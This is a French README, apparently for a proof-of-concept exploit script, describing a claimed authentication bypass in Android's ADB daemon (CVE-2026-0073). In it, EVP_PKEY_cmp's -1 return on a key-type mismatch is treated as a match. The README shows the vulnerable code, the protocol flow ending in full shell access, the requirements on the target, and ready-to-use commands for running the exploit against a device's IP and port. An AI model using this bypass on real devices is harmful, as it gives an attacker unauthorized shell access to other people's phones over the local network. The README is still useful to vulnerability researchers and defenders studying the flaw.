
CVE-2026-0073 — Contournement de l'authentification TLS du démon ADB Android (adbd) via confusion de type EVP_PKEY_cmp. Obtenez un accès shell non autorisé via WiFi en exploitant une discordance de clés EC/Ed25519. Exploit PoC pour Android 14+.
EVP_PKEY_cmp() → shell ADB non autoriséUn contournement d'authentification critique dans le démon ADB d'Android (adbd) permet à tout attaquant sur le réseau local d'obtenir un shell complet sur un appareil cible sans autorisation de l'utilisateur.
La vulnérabilité existe dans adbd_tls_verify_cert() au sein de daemon/auth.cpp, où EVP_PKEY_cmp() est utilisé comme un booléen. Lorsque la clé stockée est RSA et que le certificat client TLS présenté porte une clé non-RSA (EC P-256 ou Ed25519), EVP_PKEY_cmp() renvoie -1 (incompatibilité de type), ce qui est vrai en C/C++, donc authorized = true.
// Modèle de code vulnérable dans daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG : -1 est vrai !
authorized = true;
}
pip install cryptography
# Shell interactif
python adb_tls_auth_bypass.py <IP_CIBLE> <PORT>
# Exécution d'une commande unique
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Mode verbeux (voir la trace complète du protocole)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Par défaut, le script essaie automatiquement EC P-256 → Ed25519 → EC/TLS 1.2 jusqu'à ce que l'un réussisse.
Attaquant Cible (adbd)
│ │
│──── Connexion TCP ────────────────►│
│──── CNXN (texte clair) ───────────►│
│◄─── STLS (demande de mise à niveau TLS) ──│
│──── Réponse STLS ─────────────────►│
│ │
│════ Poignée de main TLS 1.3 ══════│
│ (certificat client EC P-256 présenté) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 est vrai → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (informations de l'appareil) ──│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (E/S du shell) ────►│
│ │
[ACCÈS SHELL COMPLET] │
| Exigence |
|---|
⚠️ Important : La clé RSA doit se trouver dans
/data/misc/adb/adb_keys, qui est rempli via l'appairage de débogage USB (acceptation de la boîte de dialogue « Autoriser le débogage USB ? »). L'appairage de débogage sans fil (adb pair) stocke les clés dans un emplacement différent (adb_known_hosts.pb) et ne satisfait PAS cette exigence.
adb shell getprop ro.build.version.security_patch
Testé et confirmé fonctionnel sur :
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Plateforme : Android 14 (Émulateur Android Studio)
Ce fork inclut plusieurs améliorations :
select() pour la prise en charge multiplateforme-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Script d'exploit principal
└── README.md # Ce fichier
Cet outil est fourni à des fins de tests de sécurité autorisés et éducatives uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce logiciel.
EVP_PKEY_cmpSi cela a aidé vos recherches, laissez une ⭐
Valeur de retour de EVP_PKEY_cmp() | Signification | Vrai en C ? | Résultat |
|---|
1 | Les clés correspondent | ✅ | Autorisé (correct) |
0 | Les clés diffèrent | ❌ | Rejeté (correct) |
-1 | Incompatibilité de type | ✅ | Autorisé (BUG) |
| Détails |
|---|
| Options de développement | Activées sur l'appareil cible |
| Débogage sans fil | Activé (ou ADB sur TCP au port 5555) |
| Clé RSA stockée | L'appareil doit avoir été apparié via USB au moins une fois (/data/misc/adb/adb_keys) |
| Accès réseau | L'attaquant doit pouvoir atteindre le port TCP d'adbd |